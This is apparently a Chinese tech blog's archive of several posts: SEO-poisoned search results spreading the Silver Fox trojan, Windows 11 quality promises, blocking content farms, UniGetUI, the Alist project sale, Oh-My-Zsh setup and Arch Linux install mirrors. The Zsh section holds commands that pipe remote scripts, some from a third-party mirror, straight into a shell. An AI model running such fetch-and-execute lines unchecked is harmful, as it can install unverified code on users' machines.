又到了喜闻乐见的「岁月史书」时间：自 Google 退出中国大陆搜索引擎业务(2009 年)以来，大陆网民一直使用百度、搜狗等国产搜索引擎，自从 2016 年（刚好是 2026 年的十年前）魏则西事件发生过后，百度的口碑开始在网民心目中逐渐下滑。而后微软趁虚而入，大幅推广自家的 Bing 搜索引擎，必应在国内也逐渐有了名声，加上 Windows 10 开始捆绑 Edge 浏览器与搜索引擎，必应的使用率也超过了百度：在“P2P下载器”泛滥的时期，因有人发现必应搜索结果比百度干净的多，必应也俨然成为许多用户替代百度搜索的“避风港”，而今它的规模也持续到了现在。

用户往往对知名搜索引擎，尤其是微软背书的 Bing，有着天然纯真的信任。但好景不长：

当你以为避开了小网站的弹窗，却在最信任的搜索框里跌入了深渊。

去年开始泛滥的银狐木马彻底打破了这片清新宁静，讽刺的是，现在搜索某软件下载，搜索结果已经被带毒的假官网充满(只有加了反广告插件真正的官网才会被置顶)，这种“灯下黑”的心理落差，以及“官方背书”带来的防御心理解除，无疑是灰产团伙巧妙利用群众心理让他们自食其果，从而达到“借刀杀人”的效果。

搜索生态的算法崩塌#

灰黑产利用算法漏洞 (SEO 污染) 跑在了审核机制的前面，这是一件极其荒谬的事情，我们都想了解：

算法到底是为用户服务，还是为出价高昂的“杀手”让步呢？

四、黑产攻击的完整链路#

Note

别问为什么不用 Mermaid 图表语法做流程图，因为我用了之后发现那玩意渲染出来的非常奇怪，很扁，只能提前做好然后嵌入图片了，，，

5.2号更新：最近 Firefly 博客模板添加了 PlantUML 的 feature，发现流程图可以自定义节点对其了，遂应用到文章当中👍

关键技术：

• “白加黑”攻击：利用合法白程序（如libcef.dll）侧加载恶意代码

• 无文件内存执行：反射加载技术规避杀毒软件检测

• C2基础设施：使用Cloudflare等CDN隐藏真实服务器

后AI时代，信任危机只会愈发明显#

随着 LLM 的疾速迅猛发展，AI 带给我们生活与工作上的便利同时，AI 也让造假的成本大幅降低。在 Vibe Coding (氛围编程) 主流助推下，仅需几步，随便生成一个非常美观的 UI 界面对 AI 来说简直小菜一碟。这也说明，用户仅凭视觉已无法判断网站的真伪。点此跳转上文

在 UI 都能被 AI 完美克隆的今天，我们还能相信眼见为实吗？

其实，无论是以前的互联网时代，还是现在的AI时代，靠视觉判断是不是正版这样的论断都是不严谨的，甚至说是错的，毕竟只是一个网页，用F12打开源代码就一览无余，直接Ctrl + C Ctrl + V的事。以前没有看到过直接这样做是因为直接照搬是侵权行为，小作坊不敢这么干只能手搓比较像的页面。现在AI来了，一切都将成为LLM训练的养料，模仿这块除非有成熟的针对AI的知识产权法律制定，不然已经无人能出手了，，，

现在微软的搜索引擎部门真是问题重重，都被喷了半年了没见什么动静。即便是有很多人提交了举报工单，也是一点声明没发，整改也没做，我看他们的老冯已经飞出外太空去和旅行者一号会面去了。但凡像 Windows 部门那边写一封声明书画个饼，也不至于到现在还被喷。要是觉得自己竞争过百度了目中无人了(其实半斤八两)，那你们自己等着被骂的更惨吧，信任危机是一天天不解决的，家里还有气的是只剩下一罐未喝完的可乐的，，，

面对搜索引擎大变天，该如何「破局」？#

以下是个人长久以来的经验所总结得出，希望读者能自行实践。

1
# Windows
2
certutil -HashFile {文件名} SHA256
3

4
# Linux
5
sha256sum {文件名}   # 执行后将输出文本与官网提供的校验码进行比对
6
# 或者(若有校验文件)
7
sha256sum -c {文件名}.sha256   # 若输出为"{文件名}: OK"则表示校验成功

总结#

面对这如粪海狂蛆般的必应搜索引擎生态，个人建议尽量少用或者停止使用，想获得更好的搜索体验我推荐 Google (普通人有能力用的)、DuckduckGo (注重隐私，但有小道消息称也能搜到钓鱼网站)、Kagi (针对从事IT行业开发者，需付费使用) 等搜索引擎。

我在这放几句话送给微软搜索引擎部门：我祝你们老板尸体健康哈，要不是因为有 Microsoft Rewards 可以兑换奖品我也不会用你们家的搜索引擎，要是你们未来几个月还不加紧整顿，我让你们全价飞升到火星为人类外天空探索事业做贡献了🤗

这里是 《搜索引擎异闻录》 主编 泠熙_LingXi_，可能你们阅读的时候会感觉到，我使用了 AI 工具辅助写了文案，在这里我对大家说声抱歉，没有在前面告知这个。但我认为合理地利用 AI 辅助写作还是可取的，它既能帮我搜集素材又能指引思路，我也对 AI 文案修改了许多措辞以接近人味。

最后，祝您在互联网冲浪体验更快人一步，在搜索中享受到 AI 时代下拥有动手能力的清爽感！

附加阅读👉：IT之家 - CPUID 确认 PC 硬件监测工具 CPU-Z、HWMonitor 下载网站遭黑客入侵

THE END

前言#

这几天看资讯，发现微软竟史无前例地发表了“公开信”，称会整改 Windows 11 的质量。自 2021 年 Windows 11 发布以来，用户使用下来发现 Win11 体验非常不尽人意(何止是不尽人意啊，这分明是 一坨大份 啊！)微软对 Win11 的开发也力不从心：阿三的管理层 + 堆砌如屎山的代码 + 乱砍好用的功能 + BUG 与 CVE漏洞 频发 + 强制推进 AI 功能 …… 这一连套操作下来，微软给 Windows 打了 40 多年的口碑在 Win11 开发时期一下子塌下来了。

另一边，苹果近几年的 Mac 系列产品逐渐走向大众视野，连微软项目经理都用上 Mac 了 ^[来源]。尤其今年 MacBook Neo 平价 Mac 笔记本的推出，着实给微软带来了行业压力。

Linux侧也在发力，自从 Windows 10 停止支持后，End of 10 等民间项目鼓励使用中低端硬件的 Win10 用户转向 Linux 桌面。^{[来源1] [来源2]}依旧今年是 Linux 桌面元年，，，

面对愈演愈烈的信任危机，Ｍ＄也是意识到了事情的严重性，Windows 作为公司的根基不应该减少重心投入 (Ｍ＄许多产品业务重心是投向B端了，比如 Azure)，于是他们在 Windows Insider Blog 上写下了这篇“保证书”，试图恢复 Windows 与 Ｍ＄ 在消费市场的声誉。

那么，在这轰轰烈烈的“罪已诏”背后，究竟是真的 “真心悔改”，还是Ｍ＄对用户临时 “画大饼” 呢？下面有请请我逐句分析。

对于《我们对 Windows 质量的承诺》的解读#

一、回归设计初心：任务栏自定义位置功能回归#

Ｍ＄在文章首先提到：回归任务栏自定义位置功能，将支持任务栏移至底部、顶部、左右四侧。该功能从 Win98 时期伴随着 Windows 的发展一直存在，在 Win11 首次发布时被砍掉，这令用户大失所望，让工作空间布局的痛点+1。这种复活旧功能的举措，也许能提高用户对 Win11 的印象与对Ｍ＄的期望值。

我主力系统是Win10，没咋用过Win11，我竟然不知道它把这玩意儿给砍了）

六、其他方面的整改#

啥都别说了，让我们先：

:(

Windows 预▯体验成员内▯版本遇到问题，需要重启。

我们只收集某些错误信息，然后为你重新启动。

114514% 完成

二维码 有关此问题的详细信息和可能的解决方法，请访问 https://www.windows.com/stopcode

二维码 如果致电支持人员，请向他们提供以下信息：

二维码 终止代码：MICROSOFT_IS_BIG_BAKA

• 更简洁、更透明的 Windows 预览体验计划： Windows 预览体验计划(Windows Insider Preview)是用户参与塑造 Windows 未来发展的重要途径，因此，Ｍ＄意识到用户应该能够轻松了解计划内容和参与方式。巨硬正在进行一些改进，让用户能够更轻松地浏览计划，包括更清晰的频道定义、更便捷地获取新功能、更高质量的预览版本、更清晰地了解用户的反馈如何影响 Windows，以及更多与巨硬直接互动的机会。
• 改进后的反馈中心于今日(3月20日)起正式上线：将面向 Windows 预览体验成员推出迄今为止规模最大的反馈中心更新，重新设计的界面让用户能够更快、更轻松地提交反馈并与社区互动。

Note

以下内容摘抄于此网页，其实是原版 Windows 官方 Blog 的翻译）

对于以下内容，我将不会继续解读，让用户自主感受。

1. 性能优化：

   微软致力于让 Windows 11 的响应更加迅速和一致：

   • 系统性能提升：降低 Windows 资源占用，减少应用启动时间（如文件资源管理器），优化内存效率，确保在高负载下仍保持响应。
   • 应用交互流畅性：将核心 Windows 体验迁移至 WinUI3 框架，降低交互延迟，提升开始菜单等核心组件的响应速度。
   • 文件资源管理器优化：显著降低搜索、导航和上下文菜单的延迟，提升大文件复制/移动的速度和可靠性。
   • WSL 体验升级：提升 Linux 与 Windows 之间的文件传输速度，改善网络兼容性和吞吐量，简化首次设置流程，并加强企业级策略控制。

2. 可靠性增强:

   可靠性是用户信任的基石，微软将在以下方面重点投入：

   • Windows Insider 计划质量提升：明确各频道功能范围，提供更灵活的频道切换，提高构建版本质量，并建立更强的反馈循环机制。
   • 系统、驱动和应用的稳定性：减少操作系统崩溃，提升驱动质量和应用稳定性；优化蓝牙配件连接稳定性，减少 USB 相关崩溃，改善打印机发现和连接体验；提升摄像头和音频连接的可靠性；改进设备唤醒一致性，特别是扩展坞场景。
   • Windows Update 体验改进：减少更新干扰，将设备统一为每月一次重启；提供更直接的更新控制，包括无限期暂停更新和无需安装即可关机；加快更新速度，提供更清晰的进度显示，并内置恢复机制。
   • Windows Hello 生物识别优化：提升面部识别可靠性，加快指纹识别速度并减少重试次数，为游戏掌机（如 ROG Xbox Ally X）提供完整的游戏手柄支持以创建 PIN。

3. 用户体验打磨：

   微软将投入资源提升整体可用性，提供更多个性化选项，减少干扰：

   • 开始菜单和任务栏优化：提供更一致、可靠的应用和文件访问体验；扩展任务栏个性化选项，包括替代位置和更小尺寸；优化开始菜单”推荐”部分，显示更相关的内容并提供清晰的自定义控制。
   • 减少干扰，提升专注度：简化新设备设置流程，减少页面和重启次数；小组件默认采用更克制的信息展示方式；简化设置选项，便于用户根据个人偏好自定义小组件和订阅源内容；减少通知干扰。
   • 搜索体验增强：提供更快、更准确的搜索结果，清晰区分本地内容和网络结果；在任务栏、开始菜单、文件资源管理器和设置中提供一致的搜索体验。

4. 开发流程改进

   微软正在改进 Windows 的内部构建流程，以提高质量标准：

   • 在新功能到达 Windows Insider 之前，进行更深入的验证和更广泛的测试，覆盖真实硬件和使用场景。
   • 更有针对性地引入新功能，确保构建版本质量更高、创新更有意义。
   • 为用户提供更大的灵活性，让其自主选择想要尝试的功能。

5. 此外，微软将继续遵循 Secure Future Initiative(Microsoft 未来安全计划)，在每个版本中增强 Windows 安全性，构建新功能并默认加强安全保护，以保护用户、设备和数据。

总体看法 & 评价：是**“画大饼”还是“诚意满满”**？#

虽然Ｍ＄的整改清单看起来颇具诚意，但聪明的你应该发现，仍然有不少“牢问题”被刻意回避。

比如强制微软账户登录的问题，从 Windows 11 发布至今一直备受吐槽，尤其是在重装系统时，不登录账户几乎无法完成基础使用，但此次整改并未提及。(虽然说有方法可以绕过它，但是有部分用户不了解方法或者不想搞这么麻烦)

再比如系统广告与推送，微软只提到 “减少通知干扰”，却没有明确是否会移除系统内嵌的广告，想要彻底摆脱“广告系统”，恐怕仍然为时过早。

也有人质疑，“更有分寸地融入 AI”，是否只是换一种方式继续植入 Copilot，而非真正减少干扰。

就连国外科技媒体 Ars Technica 也直言：“就像餐厅主厨反复强调自己重视菜品质量，反而会让人怀疑，为什么他需要说这么多次？”

非常恰当的比喻，我就喜欢这么痛快的锐评！

个人评价是，即便一部分人对Ｍ＄的信任已然崩塌，但作为介于软粉与软黑的中立用户而言，巨硬写下“忏悔录”的那一刻，意味着它还有想着改过自新的信心，重新审视自己，重新建立与用户之间的信任，摆脱孤高自傲、对外界声音不理不睬的企业作风。这样的做法已经比其他互联网龙头优秀很多了！你说是吧，谷歌？

当然，我个人对巨硬的期望不会太高。上面是我作为软粉的一面，接下来我换成软黑的视角评价。(不是左右脑互搏)有句古话是：

期望越大，就失望越大；只要降低期望，就会发现原来的也不会太失望了。

对于一个体系非常庞大且盘踞多年市场的互联网巨头，其团队内部也许会有矛盾与冲突的时候，这次的发言可能是一个CEO热衷于整肃，想在自己手中收拾前几任的烂摊子，于是拍案即合，带领团队一起撰写、一起挖坑画大饼；然后几年后下一任CEO追求所谓效率与KPI，直接把它当成一张烂纸，不了了之；又或者说没过几个月内部就谈崩了，拿下级没办法直接糊弄过去……😂

(以上全是个人猜测，我们也不是什么预言家，还是让我们等待后续如何吧……)

The END

Date: 2026.03.26

前言#

这几个月，我一直使用Bing搜索引擎，使用中文关键词搜索很多技术类问题，发现一个很严重的现象：搜索引擎弹出来的一些搜索结果中，有些网站文章粗略读起来有点合情合理，而仔细一读却错漏百出！这些文章都有个共同点：东拼西凑，前言不搭后语，牛头不对马嘴，甚至有浓烈的AI生成味……

没错！这些毫无营养的内容，我们都把它们称之为——内容农场！

我因此被这些互联网垃圾化粪池困扰了许久，它们的出现，无异于每次使用搜索引擎，都需要我在屎里淘金。

更绝的是，这些内容农场，它不仅仅抢占SEO，污染搜索引擎，甚至还会污染各大具有联网搜索功能的AI的引用源！(没办法开了联网搜索这些AI必然会被影响，目前也没有任何方法可以做到让LLM排除特定网站，唯一的方法就是关闭联网搜索)

如果你对如何抗击内容农场感兴趣，不妨先读读以下两篇博客：

1. 清理「内容农场」，还你清爽的 Google 中文搜索体验 - 少数派
2. 「内容农场」属实在玷污 Google 搜索结果 | ChrAlpha’s blog

什么是「内容农场」？#

以下是Wikipedia(中文维基)对「内容农场」的解释：

内容农场（英语：content farm）是指为了牟取广告费等商业利益或出于控制舆论、带风向等特殊目的，快速生产大量网络文章来吸引流量的网站，通常，其也利用搜索引擎来达到吸睛点击；农场文或灌水文则是此类网站制造的文章。

简单来说，所谓的 内容农场，就是快速产出大量低质内容、不择手段吸引流量、借此牟取暴利的网站。放任甚至鼓励小编体营销号生长的部分国内平台，个人认为应当同样归类为内容农场。

先从 快速产出大量低质内容 说起，它到底有多快，有多少？本博客上面的文章，迄今为止十根手指头都能数得过来；而一个内容农场站群所掌握的域名数量可能数以千计，如果把每个页面都打印后连起来，内容农场的内容产出速度很可能会超越光速——但这并未推翻狭义相对论，因为其中不传递任何信息 (确实，因为它们没有任何质量可言)。

此等更新速度，显然不是因为雇了一个集团军的写手团队。内容农场的文章通常直接爬取自其它平台，用自动化程序实现从采集到发布的一整套流程。甚至有些网站不用爬虫，直接让AI批量生成毫无营养的文章然后上传，爬虫都省了(～￣▽￣)～

在此特地点名一个内容农场——它就是臭名昭著，人见人恨的*****(算了不提名字，怕给人家引流)，玛德我每次搜索技术类问题，天天在我的搜索结果中冒出来，里面的内容可以说就像是印度恒河水与日本核污水混合起来一样——人一碰就死！我一看到那个网站上的AI味十足的男胡子程序员logo，心里直犯恶心，呕呕呕！🤢🤮

如何屏蔽#

内容农场往往手握众多域名，一个被降权、套娃立刻上线，-example.com等搜索语法也只能作为临时措施。

由于各大搜索引擎的举报系统有时候是摆设来的，短期内我们很难指望搜索引擎优化相关算法，也不太可能通过人工手段干预搜索结果。如果你不想切换到其它搜索引擎（当然其它搜索引擎也不会好到哪去），更实际的方案是设法将内容农场从搜索结果中剔除。

下面介绍几种可行方案：

uBlacklist 插件#

Caution

• 由于该插件未上架Edge 扩展商店，Edge 浏览器用户需要手动下载crx插件包手动安装，国内可用的uBlacklist crx下载链接： uBlacklist | Chrome扩展 - Crx搜搜

眼不见为净，最直接的方式当然是避免搜索结果中出现内容农场。uBlacklist这款浏览器扩展就能自动屏蔽搜索引擎页面中出现的低质量结果，支持Chrome、Firefox 和 Safari 等主流平台。 (可惜了没有上架Edge扩展商店) 安装后，搜索结果的网址后面就会出现「加入黑名单」按钮，允许你通过域名、标题和正则表达式屏蔽不想看到的站点。例如，规则/^https:\/\/www\.example\./ 将匹配所有以 https://www.example. 开头的 URL。

规则的进阶用法，不妨参阅 MDN 文档对匹配模式和正则表达式的讲解，uBlacklist 官网也给出了部分范例。

成功创建规则后，下次搜索时，uBlacklist 便会帮你隐藏已屏蔽的域名，并在顶部显示屏蔽数量。如果没搜到想要的结果，也可以暂时取消屏蔽，检查是否有误伤，uBlacklist 会高亮展示这些条目。对了，在扩展的选项页中，能够自定义高亮的颜色模式，还可以单独高亮指定搜索结果。

红色为被屏蔽的搜索结果

uBlacklist 默认仅为 Google 搜索结果启用，你可以在扩展的选项页中手动开启支持必应、DuckDuckGo、Ecosia 和 Startpage 四款搜索引擎，需要同意「存取相关网页数据」的额外权限。同页面还提供更多自定义选项，手动编辑、导入、导出规则，使用 Google 云端硬盘或 Dropbox 云端同步数据等功能。

内容农场茫茫多，单靠自己添加，怕是得把这当成全职工作才行。这种时候，就有必要借助社区的力量了，一份由全球网友贡献并维护的优质规则列表可以极大地节约我们的时间。

目前更新最及时、社区最活跃的中文项目是 Google Chinese Results Blocklist，自 2016 年不断完善至今，已覆盖数千网址，提供 精确匹配 和 模糊匹配 两种规则，复制订阅链接后直接添加即可。uBlacklist subscription compilation 是一个较为激进的项目，整合网络上大部分订阅列表，通过 GitHub Actions 自动更新。也欢迎你参与上述项目，分享遇到的垃圾站点，让更多人受益。

cobaltdisco

/

Google-Chinese-Results-Blocklist

我终于能用谷歌搜中文了……

—

—

no-license

Unavailable

终结内容农场#

先说一句，这插件名字好中二啊（

只屏蔽搜索结果，有时还是难免一脚踏入陷阱，被某个看似无害的超链接带进内容农场的地盘。「终结内容农场」这款扩展就是对付它们的利器，不论身处何方，它都能在每个指向内容农场的链接前加上醒目的红色感叹号标志，与正常链接区分，并在进入农场前再次贴心提醒。

若依然执迷不悟，不妨点击「查看」按钮，浏览屏蔽多媒体内容和内嵌脚本后的纯净版页面，不让农场主骗取一分钱广告收益；想浏览完整网页，只能通过「解锁」按钮，但必须输入验证码，而且有冷却时间，避免频繁使用失去屏蔽的意义。

「终结内容农场」扩展自然也支持订阅网络屏蔽列表，除了预设的 标准内容农场清单，在GitHub 项目资料库，还提供了较为主观的类内容农场清单、聚焦社交网站账户的社群内容农场清单、报道罔顾事实的假新闻网站清单和谋财害命的诈骗网站清单等，可以根据自己的实际情况导入使用。

屏蔽名单的语法在扩展选项页有详细说明，支持正则表达式匹配和通用转换规则。用户还能填写Google 表单，报告新发现的内容农场或被误杀的正规网站，让扩展更加完善。

除了专用扩展，uBlock Origin、AdGuard等现代广告过滤工具同样支持自定义拦截规则列表，亦可用来屏蔽内容农场；在 Android 设备上，我更推荐使用 Firefox、Kiwi Browser 等支持安装扩展的浏览器，再借助上文介绍的方法提升搜索体验。

自 iOS 15 开始，移动端 Safari 浏览器也支持安装扩展，目前 uBlacklist 已经适配，相信未来会出现更多实用工具。

结语#

个人抵制内容农场的最佳方法，是无视它。不点击、不阅读、不分享，不给对方贡献任何流量，唯有令运营者无利可图，才可能甘愿退出。如果你是内容创作者，可以开设属于自己的博客，或者在对搜索引擎友好的平台撰文，好内容不应当是微信公众号独享。

每个人都做力所能及之事，改善严峻的简中互联网环境，才是根绝弊病的治本之道。

什么是UniGetUI？#

UniGetUI是一款专为Windows 10和Windows 11设计的图形用户界面工具，它的主要目标是简化常见命令行包管理器的使用体验。

最初它被称为WingetUI，随着支持的管理器种类越来越多，才改名为UniGetUI，这也反映了其功能范围的扩展。

UniGetUI本身并不存储软件包，而是作为一个统一的图形化前端，将多种命令行包管理器聚合在一起，让用户无需记忆复杂命令，就能轻松管理成千上万的软件。

核心功能特性#

UniGetUI的魅力在于其强大而实用的功能集，几乎涵盖了软件管理的所有方面：

一站式软件管理#

只需在搜索框中输入软件名称，UniGetUI就会同时从所有已配置的包管理器中查找结果。 你可以轻松比较不同来源的同一软件，并一键安装所需版本。

批量操作效率神器#

无论是新电脑配置还是批量软件更新，UniGetUI的批量处理功能可以节省大量时间。 你可以一次性选择多个软件进行安装、更新或卸载，无需逐个操作。

高度自定义安装#

不同于普通的软件商店，UniGetUI允许你深度定制安装过程。你可以选择软件版本、体系结构（32位或64位），添加自定义安装参数，甚至指定安装路径。

软件包分享与迁移#

想要与朋友分享喜欢的软件？只需点击”分享”按钮，即可生成专属链接。

更实用的是，你可以导出已安装软件列表，在新设备或重装系统后快速恢复所有软件环境，大大简化了系统迁移过程。

系统深度集成#

UniGetUI提供系统托盘图标实时显示更新状态，还支持Windows 11小组件，让你无需打开主程序就能查看更新并快速操作。

支持的包管理器#

UniGetUI的强大之处在于其广泛的包容性，目前支持多达10种主流包管理器：

• Winget（包括Microsoft Store应用）
• Scoop
• Chocolatey
• Pip（用于Python包管理）
• Npm（用于Node.js包管理）
• PowerShell Gallery
• 以及NuGet、.NET Tool等共10种包管理器

安装指南#

安装UniGetUI非常简单，有多种方法可供选择：

微软商店安装（推荐新手）#

这是最安全简单的方法：打开Microsoft Store，搜索”UniGetUI”，点击获取即可。 自动更新，无需担心安全问题。

1
winget install UniGetUI

1
scoop install unigetui

最新动态：UniGetUI 3.3.0#

最近，UniGetUI发布了3.3.0大版本更新，带来了多项实用新功能：

• 批量下载安装程序：可以一次性下载多个软件的安装包
• 云备份和恢复：将软件配置备份到云端，方便跨设备同步
• 更多命令支持：在安装、卸载或更新前终止进程
• 界面优化：搜索框位置调整，工具栏增强

使用场景#

UniGetUI适用于多种场景：

• 个人用户：快速安装和更新日常软件，避免访问各种官网的麻烦
• 开发者：快速配置开发环境，统一管理各种编程工具和库
• 系统管理员：批量部署多台机器的软件环境，提高工作效率
• IT爱好者：在不同机器间同步软件设置，保持环境一致性

小结#

UniGetUI以其近18K的GitHub Star和活跃的社区支持，已经证明了其在Windows软件管理领域的价值。 它成功地将复杂的命令行操作转化为直观的图形界面，让普通用户也能享受包管理器带来的便利。

无论你是命令行恐惧者，还是效率追求者，UniGetUI都值得一试。它可能会彻底改变你管理Windows软件的方式，让你体验到前所未有的便捷和高效。

你有没有尝试过用包管理器来管理电脑软件？欢迎在评论区分享你的经验和看法！

(本文章由DeepSeek-R1生成，封面图由Doubao-Seedream-4.0生成并修改，其他图片均来自于网络或个人截图)

P1：事件经过#

2025年6月，由用户发现Alist的Github（全球最大的代码托管网站）仓库文档中官网链接及下载链接已被修改。该消息爆出后，相继由用户发现代码疑似被投毒，API（程序接口）被闭源。这些相继发现的疑点都指向一种可能：Alist已被原发起人Xhofe转交甚至是变卖。而随着网友的发掘，发现该发起人的其他项目也出现了类似情况。

此后，大量网盘用户陷入恐慌，同时也有人在issues（提议）界面披露更多事件细节，更加剧了用户对于该项目的不信任。随后发起人Xhofe在telegram群组中作出正面回应，承认Alist项目被出售；并试图安抚用户，声称之后该企业提交的代码都会进行仔细审查。但已无法挽回事态，大量用户表示对发起者的不信任。

P2：事件处理（后续）#

起初很多人转移使用旧版本来短暂规避风险，但发现API的改变也影响到了旧版本，所以该项目的所有发布版本都不再值得信任。后来，原项目贡献者的几人组成新团队并发起议题，声称将以Alist旧版本为基础开发新的社区版本，经投票决定后，项目被命名为Openlist （中文直译：开源列表或开放列表） 。该消息放出后，立刻引发轰动，大量用户表示赞成，但也有用户担心版本的长期发展问题。作为该文作者，我认为该项目的出现，填补了Alist被售卖后的生态缺位，为问题的真空期提供了临时替代方案，随着用户的不断增多和开发者的不断涌入，该项目的前景是看好的。

P3：我的思考#

“Alist被卖”一事，将会被记在中国开源社区发展历程上，在此之前也有很多开源项目出现种种问题：同Alist一样被转卖、因被黑产利用而遭误杀、因触及大厂利益针对、因发起人个人原因放弃维护等等。

有许多人认为，中国没有适合开源社区的社会环境。我也尝试思考国内开源社区乱象的原因，并尝试给出自己的见解：

1. 历史因素： 开源社区起源于欧美；英语仍是主流语言，而大部分国内项目在国际化方面做得不够。

2. 社会因素： 国内社会环境无法让大量人口拥有足够的空闲时间和生活资料；在国内中，开源也并未成为主流。

3. 人员质量： 国内的开源社区大部分局限于业余爱好者范围内，而没有成为体系化的专业团队。

4. 发展导向： 国外以to C为战略方向，以to B为盈利的开源商业公司很多，这些公司参与开发是因为脱离了早期的无序竞争状态，开发开源项目符合自己的长期利益，同时也有大量来自各种基金会的支持，对于IBM、Google等公司而言，非必要不闭源，配合上大量计算机爱好者开发的小项目，组成了庞大的开源社区生态。而在国内则是非必要不开源，实在是因为涉及到使用开源代码无法闭源的部分才会开源目。导致国内只有爱好者主导的小型项目，应当有商业公司参与的大型项目生态位缺位。商业公司参与开源项目可能导致短期资金缺乏从而彻底丧失长期利益。（我觉得政府不是主要原因，他们不是因为给政府开发才开源的，政府没有要求他们开源。）

5. 内外需求： 国外开源项目服务于广泛的计算机爱好者，拥有普遍的受众基础，对于用户界面的美观需求不大，可以专注软件功能的实现，保障软件的稳定性和安全性。国内计算机爱好者不够广泛，大部分民众没有计算机教育的基础，需要美观的界面而非直白的界面。同时由于国内有异常严格的审核机制，导致软件仅仅能实现在自用范围，试图提供可能被滥用的功能存在法律风险。

6. 缺乏规范： 法律上缺乏对开源项目的保护和豁免。民众缺乏规范意识。需要民众思想水平不断提高 （但现在的教育方式感觉只会不断下降（笑） 。

总结#

可能很多人知晓此事件后可能会悲叹：“开源精神已死！”虽然Alist被卖事件对国内开源社区有一定的打击。但我坚信，Openlist的新生，会挽回这一蹶不振的局面！一个开源项目倒下了，就会有千千万万个开源项目继续前行！我希望，国内开源社区能健康长远发展，共同铸造开源辉煌！

二、介绍#

1
sudo apt install zsh   # Debian,Ubuntu,Mint等
2
sudo pacman -S zsh zsh-completions   # Arch,Manjaro,Endeavour OS等

安装 Oh-My-Zsh#

方式	命令
curl	sh -c "$(curl -fsSL https://install.ohmyz.sh/)"
wget	sh -c "$(wget -O- https://install.ohmyz.sh/)"
国内curl镜像	sh -c "$(curl -fsSL https://gitee.com/pocmon/ohmyzsh/raw/master/tools/install.sh)"
国内wget镜像	sh -c "$(wget -O- https://gitee.com/pocmon/ohmyzsh/raw/master/tools/install.sh)"

注意：记得同意使用Oh-my-zsh的配置模板覆盖已有的.zshrc。

三、终端配置#

1
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
2

3
# 中国用户可以使用 gitee.com 上的官方镜像加速下载
4
git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
5

6
# 或者
7
yay -S zsh-theme-powerlevel10k-git   # 试了一下在我这好像这样安装完用不了，如果你觉得可以这样在Arch上安装那你用这个

插件#

oh-my-zsh已经内置了git插件，内置插件可以在~/.oh-my-zsh/plugins中查看，下面介绍一下我常用的插件，更多插件可以在awesome-zsh-plugins里查看。

1. zsh-autosuggestions#

zsh-autosuggestions是一个命令提示插件，当你输入命令时，会自动推测你可能需要输入的命令，按下右键可以快速采用建议。效果如下：

安装方式：把插件下载到本地的~/.oh-my-zsh/custom/plugins目录。

1
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
2

3
# 中国用户可以使用下面的加速下载
4
git clone https://github.moeyy.xyz/https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

2. zsh-syntax-highlighting#

zsh-syntax-highlighting是一个命令语法校验插件，在输入命令的过程中，若指令不合法，则指令显示为红色，若指令合法就会显示为绿色。效果如下：

安装方式：把插件下载到本地的~/.oh-my-zsh/custom/plugins目录。

1
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
2

3
# 中国用户可以使用下面的加速下载
4
git clone https://github.moeyy.xyz/https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

3. z 插件#

oh-my-zsh内置了z插件。z是一个文件夹快捷跳转插件，对于曾经跳转过的目录，只需要输入最终目标文件夹名称，就可以快速跳转，避免再输入长串路径，提高切换文件夹的效率。效果如下：

4. extract#

oh-my-zsh内置了extract插件。extract用于解压任何压缩文件，不必根据压缩文件的后缀名来记忆压缩软件。使用x命令即可解压文件，效果如下：

5. web-search#

oh-my-zsh内置了web-search插件。web-search能让我们在命令行中使用搜索引擎进行搜索。使用搜索引擎关键字+搜索内容即可自动打开浏览器进行搜索。效果如下：

Important

最后，记得启用所有插件。

写在这里：实际上我不用第四和第五个插件（，解压不如用tar -xf或者unzip,unrar等，搜索直接在浏览器主界面用））

启用插件#

修改~/.zshrc中插件列表为：

1
...
2
plugins=(git zsh-autosuggestions zsh-syntax-highlighting z extract web-search)
3
...

Tip

部分插件需要参考插件介绍进行安装。

1
# 为 curl wget git 等设置代理
2
proxy () {
3
  export ALL_PROXY="socks5://127.0.0.1:2080"
4
  export all_proxy="socks5://127.0.0.1:2080"
5
}
6

7
# 取消代理
8
unproxy () {
9
  unset ALL_PROXY
10
  unset all_proxy
11
}

四、更新 or 卸载 Oh-My-Zsh#

1
uninstall_oh_my_zsh
2
Are you sure you want to remove Oh My Zsh? [y/N]  Y

1
Removing ~/.oh-my-zsh
2
Looking for original zsh config...
3
Found ~/.zshrc.pre-oh-my-zsh -- Restoring to ~/.zshrc
4
Found ~/.zshrc -- Renaming to ~/.zshrc.omz-uninstalled-20170820200007
5
Your original zsh config was restored. Please restart your session.
6
Thanks for trying out Oh My Zsh. It's been uninstalled.

1
upgrade_oh_my_zsh

结语#

由以上可以看出，Zsh配合oh-my-zsh，可以大大方便我们在Linux下敲命令的任务，以上只是Zsh很少的一部分，oh-my-zsh还有很多插件和使用方法，等待大家去发掘。

(The End)

介绍#

Arch Linux 是一种通用操作系统，它是基于 x86-64 架构的一类 GNU/Linux 发行版。

Arch Linux 采用滚动发行模式，尽全力为用户提供最新的稳定版软件。初始安装完成的 Arch Linux 只是一个基本系统，随后用户可以根据自己的喜好安装需要的软件并配置成符合自己理想的个性化系统。

Arch Linux 秉持的核心原则是"Keep It Simple, Stupid"(对应中文为“保持简单，且一目了然”)。

——选自Arch Linux 中文维基

准备工作#

准备安装介质#

一、 获取安装镜像#

Arch Linux系统的安装需要一个ISO镜像文件，可以从官网下载，但国内的网络环境推荐去开源镜像站下载，这里列出了一些国内镜像站。

• (不推荐) TUNA镜像源：https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/latest/

• (不推荐) 北外镜像源：https://mirrors.bfsu.edu.cn/archlinux/iso/latest/

• 中科大源：https://mirrors.ustc.edu.cn/archlinux/iso/latest/

• 浙大源：https://mirrors.zju.edu.cn/archlinux/iso/latest/

